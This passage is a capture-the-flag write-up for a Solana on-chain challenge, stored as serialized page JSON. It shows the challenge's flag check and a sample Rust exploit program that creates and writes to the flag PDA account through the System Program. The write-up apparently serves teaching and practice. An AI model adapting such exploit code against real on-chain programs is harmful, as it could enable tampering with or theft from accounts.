style":499},[42425],{"type":32,"value":2835},{"type":26,"tag":475,"props":42427,"children":42428},{"style":714},[42429],{"type":32,"value":353},{"type":26,"tag":475,"props":42431,"children":42432},{"style":586},[42433],{"type":32,"value":2476},{"type":26,"tag":475,"props":42435,"children":42436},{"style":714},[42437],{"type":32,"value":2863},{"type":26,"tag":475,"props":42439,"children":42440},{"style":499},[42441],{"type":32,"value":579},{"type":26,"tag":475,"props":42443,"children":42444},{"class":477,"line":539},[42445,42449,42454,42458,42462,42466,42470,42474,42478],{"type":26,"tag":475,"props":42446,"children":42447},{"style":586},[42448],{"type":32,"value":11988},{"type":26,"tag":475,"props":42450,"children":42451},{"style":2375},[42452],{"type":32,"value":42453}," acct",{"type":26,"tag":475,"props":42455,"children":42456},{"style":714},[42457],{"type":32,"value":353},{"type":26,"tag":475,"props":42459,"children":42460},{"style":499},[42461],{"type":32,"value":3408},{"type":26,"tag":475,"props":42463,"children":42464},{"style":714},[42465],{"type":32,"value":353},{"type":26,"tag":475,"props":42467,"children":42468},{"style":493},[42469],{"type":32,"value":8849},{"type":26,"tag":475,"props":42471,"children":42472},{"style":499},[42473],{"type":32,"value":13750},{"type":26,"tag":475,"props":42475,"children":42476},{"style":714},[42477],{"type":32,"value":8287},{"type":26,"tag":475,"props":42479,"children":42480},{"style":903},[42481],{"type":32,"value":42482}," 0x1337\n",{"type":26,"tag":475,"props":42484,"children":42485},{"class":477,"line":548},[42486,42491,42495,42499,42504,42508,42512,42516,42521,42525,42529,42533,42537,42541,42545,42549,42553,42558,42562],{"type":26,"tag":475,"props":42487,"children":42488},{"style":714},[42489],{"type":32,"value":42490}," &&",{"type":26,"tag":475,"props":42492,"children":42493},{"style":505},[42494],{"type":32,"value":5573},{"type":26,"tag":475,"props":42496,"children":42497},{"style":714},[42498],{"type":32,"value":3187},{"type":26,"tag":475,"props":42500,"children":42501},{"style":493},[42502],{"type":32,"value":42503},"from_le_bytes",{"type":26,"tag":475,"props":42505,"children":42506},{"style":499},[42507],{"type":32,"value":626},{"type":26,"tag":475,"props":42509,"children":42510},{"style":2375},[42511],{"type":32,"value":42374},{"type":26,"tag":475,"props":42513,"children":42514},{"style":714},[42515],{"type":32,"value":353},{"type":26,"tag":475,"props":42517,"children":42518},{"style":499},[42519],{"type":32,"value":42520},"data[",{"type":26,"tag":475,"props":42522,"children":42523},{"style":714},[42524],{"type":32,"value":2757},{"type":26,"tag":475,"props":42526,"children":42527},{"style":903},[42528],{"type":32,"value":3786},{"type":26,"tag":475,"props":42530,"children":42531},{"style":499},[42532],{"type":32,"value":15117},{"type":26,"tag":475,"props":42534,"children":42535},{"style":714},[42536],{"type":32,"value":353},{"type":26,"tag":475,"props":42538,"children":42539},{"style":493},[42540],{"type":32,"value":25863},{"type":26,"tag":475,"props":42542,"children":42543},{"style":499},[42544],{"type":32,"value":13586},{"type":26,"tag":475,"props":42546,"children":42547},{"style":714},[42548],{"type":32,"value":353},{"type":26,"tag":475,"props":42550,"children":42551},{"style":493},[42552],{"type":32,"value":3371},{"type":26,"tag":475,"props":42554,"children":42555},{"style":499},[42556],{"type":32,"value":42557},"()) ",{"type":26,"tag":475,"props":42559,"children":42560},{"style":714},[42561],{"type":32,"value":8287},{"type":26,"tag":475,"props":42563,"children":42564},{"style":903},[42565],{"type":32,"value":42566}," 0x4337\n",{"type":26,"tag":475,"props":42568,"children":42569},{"class":477,"line":558},[42570],{"type":26,"tag":475,"props":42571,"children":42572},{"style":499},[42573],{"type":32,"value":28889},{"type":26,"tag":475,"props":42575,"children":42576},{"class":477,"line":582},[42577,42582,42586,42590,42594,42599,42603,42607],{"type":26,"tag":475,"props":42578,"children":42579},{"style":493},[42580],{"type":32,"value":42581}," writeln!",{"type":26,"tag":475,"props":42583,"children":42584},{"style":499},[42585],{"type":32,"value":626},{"type":26,"tag":475,"props":42587,"children":42588},{"style":2375},[42589],{"type":32,"value":41627},{"type":26,"tag":475,"props":42591,"children":42592},{"style":499},[42593],{"type":32,"value":637},{"type":26,"tag":475,"props":42595,"children":42596},{"style":629},[42597],{"type":32,"value":42598},"\"congrats!\"",{"type":26,"tag":475,"props":42600,"children":42601},{"style":499},[42602],{"type":32,"value":2835},{"type":26,"tag":475,"props":42604,"children":42605},{"style":714},[42606],{"type":32,"value":2863},{"type":26,"tag":475,"props":42608,"children":42609},{"style":499},[42610],{"type":32,"value":2729},{"type":26,"tag":475,"props":42612,"children":42613},{"class":477,"line":596},[42614,42618,42622,42627,42631,42635,42639,42643,42648,42652,42656,42660,42664],{"type":26,"tag":475,"props":42615,"children":42616},{"style":586},[42617],{"type":32,"value":2980},{"type":26,"tag":475,"props":42619,"children":42620},{"style":482},[42621],{"type":32,"value":27006},{"type":26,"tag":475,"props":42623,"children":42624},{"style":505},[42625],{"type":32,"value":42626}," Ok",{"type":26,"tag":475,"props":42628,"children":42629},{"style":499},[42630],{"type":32,"value":626},{"type":26,"tag":475,"props":42632,"children":42633},{"style":2375},[42634],{"type":32,"value":42421},{"type":26,"tag":475,"props":42636,"children":42637},{"style":499},[42638],{"type":32,"value":2794},{"type":26,"tag":475,"props":42640,"children":42641},{"style":714},[42642],{"type":32,"value":786},{"type":26,"tag":475,"props":42644,"children":42645},{"style":499},[42646],{"type":32,"value":42647}," env",{"type":26,"tag":475,"props":42649,"children":42650},{"style":714},[42651],{"type":32,"value":3187},{"type":26,"tag":475,"props":42653,"children":42654},{"style":493},[42655],{"type":32,"value":34742},{"type":26,"tag":475,"props":42657,"children":42658},{"style":499},[42659],{"type":32,"value":626},{"type":26,"tag":475,"props":42661,"children":42662},{"style":629},[42663],{"type":32,"value":42312},{"type":26,"tag":475,"props":42665,"children":42666},{"style":499},[42667],{"type":32,"value":676},{"type":26,"tag":475,"props":42669,"children":42670},{"class":477,"line":610},[42671,42676,42680,42684,42688,42693,42697,42701,42705,42709],{"type":26,"tag":475,"props":42672,"children":42673},{"style":493},[42674],{"type":32,"value":42675}," writeln!",{"type":26,"tag":475,"props":42677,"children":42678},{"style":499},[42679],{"type":32,"value":626},{"type":26,"tag":475,"props":42681,"children":42682},{"style":2375},[42683],{"type":32,"value":41627},{"type":26,"tag":475,"props":42685,"children":42686},{"style":499},[42687],{"type":32,"value":637},{"type":26,"tag":475,"props":42689,"children":42690},{"style":629},[42691],{"type":32,"value":42692},"\"flag: {:?}\"",{"type":26,"tag":475,"props":42694,"children":42695},{"style":499},[42696],{"type":32,"value":637},{"type":26,"tag":475,"props":42698,"children":42699},{"style":2375},[42700],{"type":32,"value":42421},{"type":26,"tag":475,"props":42702,"children":42703},{"style":499},[42704],{"type":32,"value":2835},{"type":26,"tag":475,"props":42706,"children":42707},{"style":714},[42708],{"type":32,"value":2863},{"type":26,"tag":475,"props":42710,"children":42711},{"style":499},[42712],{"type":32,"value":2729},{"type":26,"tag":475,"props":42714,"children":42715},{"class":477,"line":650},[42716,42720,42724],{"type":26,"tag":475,"props":42717,"children":42718},{"style":499},[42719],{"type":32,"value":3018},{"type":26,"tag":475,"props":42721,"children":42722},{"style":586},[42723],{"type":32,"value":3023},{"type":26,"tag":475,"props":42725,"children":42726},{"style":499},[42727],{"type":32,"value":579},{"type":26,"tag":475,"props":42729,"children":42730},{"class":477,"line":679},[42731,42735,42739,42743,42747,42752,42756,42760],{"type":26,"tag":475,"props":42732,"children":42733},{"style":493},[42734],{"type":32,"value":42675},{"type":26,"tag":475,"props":42736,"children":42737},{"style":499},[42738],{"type":32,"value":626},{"type":26,"tag":475,"props":42740,"children":42741},{"style":2375},[42742],{"type":32,"value":41627},{"type":26,"tag":475,"props":42744,"children":42745},{"style":499},[42746],{"type":32,"value":637},{"type":26,"tag":475,"props":42748,"children":42749},{"style":629},[42750],{"type":32,"value":42751},"\"flag not found, please contact admin\"",{"type":26,"tag":475,"props":42753,"children":42754},{"style":499},[42755],{"type":32,"value":2835},{"type":26,"tag":475,"props":42757,"children":42758},{"style":714},[42759],{"type":32,"value":2863},{"type":26,"tag":475,"props":42761,"children":42762},{"style":499},[42763],{"type":32,"value":2729},{"type":26,"tag":475,"props":42765,"children":42766},{"class":477,"line":735},[42767],{"type":26,"tag":475,"props":42768,"children":42769},{"style":499},[42770],{"type":32,"value":750},{"type":26,"tag":475,"props":42772,"children":42773},{"class":477,"line":744},[42774],{"type":26,"tag":475,"props":42775,"children":42776},{"style":499},[42777],{"type":32,"value":851},{"type":26,"tag":475,"props":42779,"children":42780},{"class":477,"line":753},[42781],{"type":26,"tag":475,"props":42782,"children":42783},{"style":499},[42784],{"type":32,"value":3607},{"type":26,"tag":27,"props":42786,"children":42788},{"id":42787},"solution-idea",[42789],{"type":32,"value":42790},"Solution Idea",{"type":26,"tag":35,"props":42792,"children":42793},{},[42794,42796,42801],{"type":32,"value":42795},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":26,"tag":53,"props":42797,"children":42799},{"className":42798},[],[42800],{"type":32,"value":35377},{"type":32,"value":42802}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":26,"tag":35,"props":42804,"children":42805},{},[42806,42808,42814],{"type":32,"value":42807},"In order to get the flag, we need to make sure that the account at ",{"type":26,"tag":53,"props":42809,"children":42811},{"className":42810},[],[42812],{"type":32,"value":42813},"PDA(\"FLAG\")",{"type":32,"value":42815}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":26,"tag":35,"props":42817,"children":42818},{},[42819,42821,42828],{"type":32,"value":42820},"Essentially, we need to ",{"type":26,"tag":116,"props":42822,"children":42825},{"href":42823,"rel":42824},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[120],[42826],{"type":32,"value":42827},"invoke the System Program",{"type":32,"value":42829},", and write controlled data into the newly created account.",{"type":26,"tag":35,"props":42831,"children":42832},{},[42833],{"type":32,"value":42834},"A sample program that does this is as follows:",{"type":26,"tag":465,"props":42836,"children":42838},{"className":2685,"code":42837,"language":2684,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[42839],{"type":26,"tag":53,"props":42840,"children":42841},{"__ignoreMap":7},[42842,42862,42886,42914,42942,42962,42998,43034,43041,43049,43082,43099,43124,43145,43197,43222,43229,43242,43288,43332,43340,43348,43359,43375,43386,43406,43426,43433,43469,43484,43491,43499,43578,43585,43596],{"type":26,"tag":475,"props":42843,"children":42844},{"class":477,"line":478},[42845,42849,42853,42858],{"type":26,"tag":475,"props":42846,"children":42847},{"style":482},[42848],{"type":32,"value":13397},{"type":26,"tag":475,"props":42850,"children":42851},{"style":482},[42852],{"type":32,"value":13402},{"type":26,"tag":475,"props":42854,"children":42855},{"style":493},[42856],{"type":32,"value":42857}," process_instruction",{"type":26,"tag":475,"props":42859,"children":42860},{"style":499},[42861],{"type":32,"value":3169},{"type":26,"tag":475,"props":42863,"children":42864},{"class":477,"line":516},[42865,42870,42874,42878,42882],{"type":26,"tag":475,"props":42866,"children":42867},{"style":2375},[42868],{"type":32,"value":42869}," program_id",{"type":26,"tag":475,"props":42871,"children":42872},{"style":714},[42873],{"type":32,"value":179},{"type":26,"tag":475,"props":42875,"children":42876},{"style":714},[42877],{"type":32,"value":6854},{"type":26,"tag":475,"props":42879,"children":42880},{"style":505},[42881],{"type":32,"value":21106},{"type":26,"tag":475,"props":42883,"children":42884},{"style":499},[42885],{"type":32,"value":2425},{"type":26,"tag":475,"props":42887,"children":42888},{"class":477,"line":539},[42889,42894,42898,42902,42906,42910],{"type":26,"tag":475,"props":42890,"children":42891},{"style":2375},[42892],{"type":32,"value":42893}," accounts",{"type":26,"tag":475,"props":42895,"children":42896},{"style":714},[42897],{"type":32,"value":179},{"type":26,"tag":475,"props":42899,"children":42900},{"style":714},[42901],{"type":32,"value":6854},{"type":26,"tag":475,"props":42903,"children":42904},{"style":499},[42905],{"type":32,"value":3440},{"type":26,"tag":475,"props":42907,"children":42908},{"style":505},[42909],{"type":32,"value":14644},{"type":26,"tag":475,"props":42911,"children":42912},{"style":499},[42913],{"type":32,"value":13970},{"type":26,"tag":475,"props":42915,"children":42916},{"class":477,"line":548},[42917,42922,42926,42930,42934,42938],{"type":26,"tag":475,"props":42918,"children":42919},{"style":2375},[42920],{"type":32,"value":42921}," data",{"type":26,"tag":475,"props":42923,"children":42924},{"style":714},[42925],{"type":32,"value":179},{"type":26,"tag":475,"props":42927,"children":42928},{"style":714},[42929],{"type":32,"value":6854},{"type":26,"tag":475,"props":42931,"children":42932},{"style":499},[42933],{"type":32,"value":3440},{"type":26,"tag":475,"props":42935,"children":42936},{"style":505},[42937],{"type":32,"value":3127},{"type":26,"tag":475,"props":42939,"children":42940},{"style":499},[42941],{"type":32,"value":11481},{"type":26,"tag":475,"props":42943,"children":42944},{"class":477,"line":558},[42945,42949,42953,42958],{"type":26,"tag":475,"props":42946,"children":42947},{"style":499},[42948],{"type":32,"value":2794},{"type":26,"tag":475,"props":42950,"children":42951},{"style":714},[42952],{"type":32,"value":13464},{"type":26,"tag":475,"props":42954,"children":42955},{"style":505},[42956],{"type":32,"value":42957}," ProgramResult",{"type":26,"tag":475,"props":42959,"children":42960},{"style":499},[42961],{"type":32,"value":579},{"type":26,"tag":475,"props":42963,"children":42964},{"class":477,"line":582},[42965,42969,42974,42978,42982,42986,42990,42994],{"type":26,"tag":475,"props":42966,"children":42967},{"style":482},[42968],{"type":32,"value":2705},{"type":26,"tag":475,"props":42970,"children":42971},{"style":2375},[42972],{"type":32,"value":42973}," flag_pda_ai",{"type":26,"tag":475,"props":42975,"children":42976},{"style":714},[42977],{"type":32,"value":2383},{"type":26,"tag":475,"props":42979,"children":42980},{"style":714},[42981],{"type":32,"value":6854},{"type":26,"tag":475,"props":42983,"children":42984},{"style":2375},[42985],{"type":32,"value":14382},{"type":26,"tag":475,"props":42987,"children":42988},{"style":499},[42989],{"type":32,"value":3440},{"type":26,"tag":475,"props":42991,"children":42992},{"style":903},[42993],{"type":32,"value":3732},{"type":26,"tag":475,"props":42995,"children":42996},{"style":499},[42997],{"type":32,"value":31274},{"type":26,"tag":475,"props":42999,"children":43000},{"class":477,"line":596},[43001,43005,43010,43014,43018,43022,43026,43030],{"type":26,"tag":475,"props":43002,"children":43003},{"style":482},[43004],{"type":32,"value":2705},{"type":26,"tag":475,"props":43006,"children":43007},{"style":2375},[43008],{"type":32,"value":43009}," user_ai",{"type":26,"tag":475,"props":43011,"children":43012},{"style":714},[43013],{"type":32,"value":2383},{"type":26,"tag":475,"props":43015,"children":43016},{"style":714},[43017],{"type":32,"value":6854},{"type":26,"tag":475,"props":43019,"children":43020},{"style":2375},[43021],{"type":32,"value":14382},{"type":26,"tag":475,"props":43023,"children":43024},{"style":499},[43025],{"type":32,"value":3440},{"type":26,"tag":475,"props":43027,"children":43028},{"style":903},[43029],{"type":32,"value":3722},{"type":26,"tag":475,"props":43031,"children":43032},{"style":499},[43033],{"type":32,"value":31274},{"type":26,"tag":475,"props":43035,"children":43036},{"class":477,"line":610},[43037],{"type":26,"tag":475,"props":43038,"children":43039},{"emptyLinePlaceholder":18},[43040],{"type":32,"value":545},{"type":26,"tag":475,"props":43042,"children":43043},{"class":477,"line":650},[43044],{"type":26,"tag":475,"props":43045,"children":43046},{"style":552},[43047],{"type":32,"value":43048}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":26,"tag":475,"props":43050,"children":43051},{"class":477,"line":679},[43052,43056,43061,43065,43069,43073,43078],{"type":26,"tag":475,"props":43053,"children":43054},{"style":482},[43055],{"type":32,"value":2705},{"type":26,"tag":475,"props":43057,"children":43058},{"style":2375},[43059],{"type":32,"value":43060}," instruction",{"type":26,"tag":475,"props":43062,"children":43063},{"style":714},[43064],{"type":32,"value":2383},{"type":26,"tag":475,"props":43066,"children":43067},{"style":505},[43068],{"type":32,"value":40700},{"type":26,"tag":475,"props":43070,"children":43071},{"style":714},[43072],{"type":32,"value":3187},{"type":26,"tag":475,"props":43074,"children":43075},{"style":493},[43076],{"type":32,"value":43077},"new_with_bincode",{"type":26,"tag":475,"props":43079,"children":43080},{"style":499},[43081],{"type":32,"value":3169},{"type":26,"tag":475,"props":43083,"children":43084},{"class":477,"line":735},[43085,43090,43094],{"type":26,"tag":475,"props":43086,"children":43087},{"style":499},[43088],{"type":32,"value":43089}," system_program",{"type":26,"tag":475,"props":43091,"children":43092},{"style":714},[43093],{"type":32,"value":3187},{"type":26,"tag":475,"props":43095,"children":43096},{"style":499},[43097],{"type":32,"value":43098},"ID,\n",{"type":26,"tag":475,"props":43100,"children":43101},{"class":477,"line":744},[43102,43106,43111,43115,43120],{"type":26,"tag":475,"props":43103,"children":43104},{"style":714},[43105],{"type":32,"value":3177},{"type":26,"tag":475,"props":43107,"children":43108},{"style":499},[43109],{"type":32,"value":43110},"SystemInstruction",{"type":26,"tag":475,"props":43112,"children":43113},{"style":714},[43114],{"type":32,"value":3187},{"type":26,"tag":475,"props":43116,"children":43117},{"style":505},[43118],{"type":32,"value":43119},"CreateAccount",{"type":26,"tag":475,"props":43121,"children":43122},{"style":499},[43123],{"type":32,"value":579},{"type":26,"tag":475,"props":43125,"children":43126},{"class":477,"line":753},[43127,43132,43136,43141],{"type":26,"tag":475,"props":43128,"children":43129},{"style":2375},[43130],{"type":32,"value":43131}," space",{"type":26,"tag":475,"props":43133,"children":43134},{"style":714},[43135],{"type":32,"value":179},{"type":26,"tag":475,"props":43137,"children":43138},{"style":903},[43139],{"type":32,"value":43140}," 0x1337",{"type":26,"tag":475,"props":43142,"children":43143},{"style":499},[43144],{"type":32,"value":2425},{"type":26,"tag":475,"props":43146,"children":43147},{"class":477,"line":761},[43148,43153,43157,43162,43166,43171,43175,43179,43184,43188,43193],{"type":26,"tag":475,"props":43149,"children":43150},{"style":2375},[43151],{"type":32,"value":43152}," lamports",{"type":26,"tag":475,"props":43154,"children":43155},{"style":714},[43156],{"type":32,"value":179},{"type":26,"tag":475,"props":43158,"children":43159},{"style":499},[43160],{"type":32,"value":43161}," Rent",{"type":26,"tag":475,"props":43163,"children":43164},{"style":714},[43165],{"type":32,"value":3187},{"type":26,"tag":475,"props":43167,"children":43168},{"style":493},[43169],{"type":32,"value":43170},"default",{"type":26,"tag":475,"props":43172,"children":43173},{"style":499},[43174],{"type":32,"value":13586},{"type":26,"tag":475,"props":43176,"children":43177},{"style":714},[43178],{"type":32,"value":353},{"type":26,"tag":475,"props":43180,"children":43181},{"style":493},[43182],{"type":32,"value":43183},"minimum_balance",{"type":26,"tag":475,"props":43185,"children":43186},{"style":499},[43187],{"type":32,"value":626},{"type":26,"tag":475,"props":43189,"children":43190},{"style":903},[43191],{"type":32,"value":43192},"0x1337",{"type":26,"tag":475,"props":43194,"children":43195},{"style":499},[43196],{"type":32,"value":6450},{"type":26,"tag":475,"props":43198,"children":43199},{"class":477,"line":770},[43200,43205,43209,43213,43217],{"type":26,"tag":475,"props":43201,"children":43202},{"style":2375},[43203],{"type":32,"value":43204}," owner",{"type":26,"tag":475,"props":43206,"children":43207},{"style":714},[43208],{"type":32,"value":179},{"type":26,"tag":475,"props":43210,"children":43211},{"style":499},[43212],{"type":32,"value":41732},{"type":26,"tag":475,"props":43214,"children":43215},{"style":714},[43216],{"type":32,"value":3187},{"type":26,"tag":475,"props":43218,"children":43219},{"style":499},[43220],{"type":32,"value":43221},"ID\n",{"type":26,"tag":475,"props":43223,"children":43224},{"class":477,"line":794},[43225],{"type":26,"tag":475,"props":43226,"children":43227},{"style":499},[43228],{"type":32,"value":25074},{"type":26,"tag":475,"props":43230,"children":43231},{"class":477,"line":831},[43232,43237],{"type":26,"tag":475,"props":43233,"children":43234},{"style":493},[43235],{"type":32,"value":43236}," vec!",{"type":26,"tag":475,"props":43238,"children":43239},{"style":499},[43240],{"type":32,"value":43241},"[\n",{"type":26,"tag":475,"props":43243,"children":43244},{"class":477,"line":845},[43245,43250,43254,43258,43262,43266,43271,43275,43280,43284],{"type":26,"tag":475,"props":43246,"children":43247},{"style":499},[43248],{"type":32,"value":43249}," AccountMeta",{"type":26,"tag":475,"props":43251,"children":43252},{"style":714},[43253],{"type":32,"value":3187},{"type":26,"tag":475,"props":43255,"children":43256},{"style":493},[43257],{"type":32,"value":14828},{"type":26,"tag":475,"props":43259,"children":43260},{"style":499},[43261],{"type":32,"value":626},{"type":26,"tag":475,"props":43263,"children":43264},{"style":714},[43265],{"type":32,"value":4282},{"type":26,"tag":475,"props":43267,"children":43268},{"style":2375},[43269],{"type":32,"value":43270},"user_ai",{"type":26,"tag":475,"props":43272,"children":43273},{"style":714},[43274],{"type":32,"value":353},{"type":26,"tag":475,"props":43276,"children":43277},{"style":499},[43278],{"type":32,"value":43279},"key, ",{"type":26,"tag":475,"props":43281,"children":43282},{"style":482},[43283],{"type":32,"value":3703},{"type":26,"tag":475,"props":43285,"children":43286},{"style":499},[43287],{"type":32,"value":6450},{"type":26,"tag":475,"props":43289,"children":43290},{"class":477,"line":854},[43291,43295,43299,43303,43307,43311,43316,43320,43324,43328],{"type":26,"tag":475,"props":43292,"children":43293},{"style":499},[43294],{"type":32,"value":43249},{"type":26,"tag":475,"props":43296,"children":43297},{"style":714},[43298],{"type":32,"value":3187},{"type":26,"tag":475,"props":43300,"children":43301},{"style":493},[43302],{"type":32,"value":14828},{"type":26,"tag":475,"props":43304,"children":43305},{"style":499},[43306],{"type":32,"value":626},{"type":26,"tag":475,"props":43308,"children":43309},{"style":714},[43310],{"type":32,"value":4282},{"type":26,"tag":475,"props":43312,"children":43313},{"style":2375},[43314],{"type":32,"value":43315},"flag_pda_ai",{"type":26,"tag":475,"props":43317,"children":43318},{"style":714},[43319],{"type":32,"value":353},{"type":26,"tag":475,"props":43321,"children":43322},{"style":499},[43323],{"type":32,"value":43279},{"type":26,"tag":475,"props":43325,"children":43326},{"style":482},[43327],{"type":32,"value":3703},{"type":26,"tag":475,"props":43329,"children":43330},{"style":499},[43331],{"type":32,"value":6450},{"type":26,"tag":475,"props":43333,"children":43334},{"class":477,"line":862},[43335],{"type":26,"tag":475,"props":43336,"children":43337},{"style":499},[43338],{"type":32,"value":43339}," ],\n",{"type":26,"tag":475,"props":43341,"children":43342},{"class":477,"line":885},[43343],{"type":26,"tag":475,"props":43344,"children":43345},{"style":499},[43346],{"type":32,"value":43347}," );\n",{"type":26,"tag":475,"props":43349,"children":43350},{"class":477,"line":913},[43351,43355],{"type":26,"tag":475,"props":43352,"children":43353},{"style":493},[43354],{"type":32,"value":40817},{"type":26,"tag":475,"props":43356,"children":43357},{"style":499},[43358],{"type":32,"value":3169},{"type":26,"tag":475,"props":43360,"children":43361},{"class":477,"line":926},[43362,43366,43371],{"type":26,"tag":475,"props":43363,"children":43364},{"style":714},[43365],{"type":32,"value":3177},{"type":26,"tag":475,"props":43367,"children":43368},{"style":2375},[43369],{"type":32,"value":43370},"instruction",{"type":26,"tag":475,"props":43372,"children":43373},{"style":499},[43374],{"type":32,"value":2425},{"type":26,"tag":475,"props":43376,"children":43377},{"class":477,"line":948},[43378,43382],{"type":26,"tag":475,"props":43379,"children":43380},{"style":714},[43381],{"type":32,"value":3177},{"type":26,"tag":475,"props":43383,"children":43384},{"style":499},[43385],{"type":32,"value":43241},{"type":26,"tag":475,"props":43387,"children":43388},{"class":477,"line":966},[43389,43394,43398,43402],{"type":26,"tag":475,"props":43390,"children":43391},{"style":2375},[43392],{"type":32,"value":43393}," user_ai",{"type":26,"tag":475,"props":43395,"children":43396},{"style":714},[43397],{"type":32,"value":353},{"type":26,"tag":475,"props":43399,"children":43400},{"style":493},[43401],{"type":32,"value":15126},{"type":26,"tag":475,"props":43403,"children":43404},{"style":499},[43405],{"type":32,"value":3197},{"type":26,"tag":475,"props":43407,"children":43408},{"class":477,"line":979},[43409,43414,43418,43422],{"type":26,"tag":475,"props":43410,"children":43411},{"style":2375},[43412],{"type":32,"value":43413}," flag_pda_ai",{"type":26,"tag":475,"props":43415,"children":43416},{"style":714},[43417],{"type":32,"value":353},{"type":26,"tag":475,"props":43419,"children":43420},{"style":493},[43421],{"type":32,"value":15126},{"type":26,"tag":475,"props":43423,"children":43424},{"style":499},[43425],{"type":32,"value":3197},{"type":26,"tag":475,"props":43427,"children":43428},{"class":477,"line":1006},[43429],{"type":26,"tag":475,"props":43430,"children":43431},{"style":499},[43432],{"type":32,"value":43339},{"type":26,"tag":475,"props":43434,"children":43435},{"class":477,"line":1046},[43436,43440,43444,43448,43452,43456,43460,43464],{"type":26,"tag":475,"props":43437,"children":43438},{"style":714},[43439],{"type":32,"value":3177},{"type":26,"tag":475,"props":43441,"children":43442},{"style":499},[43443],{"type":32,"value":3440},{"type":26,"tag":475,"props":43445,"children":43446},{"style":714},[43447],{"type":32,"value":2816},{"type":26,"tag":475,"props":43449,"children":43450},{"style":499},[43451],{"type":32,"value":3440},{"type":26,"tag":475,"props":43453,"children":43454},{"style":629},[43455],{"type":32,"value":42312},{"type":26,"tag":475,"props":43457,"children":43458},{"style":714},[43459],{"type":32,"value":353},{"type":26,"tag":475,"props":43461,"children":43462},{"style":493},[43463],{"type":32,"value":42321},{"type":26,"tag":475,"props":43465,"children":43466},{"style":499},[43467],{"type":32,"value":43468},"()]],\n",{"type":26,"tag":475,"props":43470,"children":43471},{"class":477,"line":1068},[43472,43476,43480],{"type":26,"tag":475,"props":43473,"children":43474},{"style":499},[43475],{"type":32,"value":3362},{"type":26,"tag":475,"props":43477,"children":43478},{"style":714},[43479],{"type":32,"value":2863},{"type":26,"tag":475,"props":43481,"children":43482},{"style":499},[43483],{"type":32,"value":2729},{"type":26,"tag":475,"props":43485,"children":43486},{"class":477,"line":1077},[43487],{"type":26,"tag":475,"props":43488,"children":43489},{"emptyLinePlaceholder":18},[43490],{"type":32,"value":545},{"type":26,"tag":475,"props":43492,"children":43493},{"class":477,"line":1090},[43494],{"type":26,"tag":475,"props":43495,"children":43496},{"style":552},[43497],{"type":32,"value":43498}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":26,"tag":475,"props":43500,"children":43501},{"class":477,"line":1119},[43502,43507,43511,43515,43519,43523,43527,43531,43535,43539,43543,43548,43552,43556,43561,43565,43569,43574],{"type":26,"tag":475,"props":43503,"children":43504},{"style":2375},[43505],{"type":32,"value":43506}," flag_pda_ai",{"type":26,"tag":475,"props":43508,"children":43509},{"style":714},[43510],{"type":32,"value":353},{"type":26,"tag":475,"props":43512,"children":43513},{"style":493},[43514],{"type":32,"value":13581},{"type":26,"tag":475,"props":43516,"children":43517},{"style":499},[43518],{"type":32,"value":13586},{"type":26,"tag":475,"props":43520,"children":43521},{"style":714},[43522],{"type":32,"value":2863},{"type":26,"tag":475,"props":43524,"children":43525},{"style":499},[43526],{"type":32,"value":3440},{"type":26,"tag":475,"props":43528,"children":43529},{"style":714},[43530],{"type":32,"value":2757},{"type":26,"tag":475,"props":43532,"children":43533},{"style":903},[43534],{"type":32,"value":3786},{"type":26,"tag":475,"props":43536,"children":43537},{"style":499},[43538],{"type":32,"value":15117},{"type":26,"tag":475,"props":43540,"children":43541},{"style":714},[43542],{"type":32,"value":353},{"type":26,"tag":475,"props":43544,"children":43545},{"style":493},[43546],{"type":32,"value":43547},"copy_from_slice",{"type":26,"tag":475,"props":43549,"children":43550},{"style":499},[43551],{"type":32,"value":626},{"type":26,"tag":475,"props":43553,"children":43554},{"style":714},[43555],{"type":32,"value":2816},{"type":26,"tag":475,"props":43557,"children":43558},{"style":903},[43559],{"type":32,"value":43560},"0x4337",{"type":26,"tag":475,"props":43562,"children":43563},{"style":505},[43564],{"type":32,"value":7753},{"type":26,"tag":475,"props":43566,"children":43567},{"style":714},[43568],{"type":32,"value":353},{"type":26,"tag":475,"props":43570,"children":43571},{"style":493},[43572],{"type":32,"value":43573},"to_le_bytes",{"type":26,"tag":475,"props":43575,"children":43576},{"style":499},[43577],{"type":32,"value":2494},{"type":26,"tag":475,"props":43579,"children":43580},{"class":477,"line":1132},[43581],{"type":26,"tag":475,"props":43582,"children":43583},{"emptyLinePlaceholder":18},[43584],{"type":32,"value":545},{"type":26,"tag":475,"props":43586,"children":43587},{"class":477,"line":1146},[43588,43592],{"type":26,"tag":475,"props":43589,"children":43590},{"style":505},[43591],{"type":32,"value":14040},{"type":26,"tag":475,"props":43593,"children":43594},{"style":499},[43595],{"type":32,"value":14045},{"type":26,"tag":475,"props":43597,"children":43598},{"class":477,"line":1155},[43599],{"type":26,"tag":475,"props":43600,"children":43601},{"style":499},[43602],{"type":32,"value":3607},{"type":26,"tag":35,"props":43604,"children":43605},{},[43606],{"type":32,"value":43607},"To test this theory, we can execute the program above inside the test environment, and see if we can get the 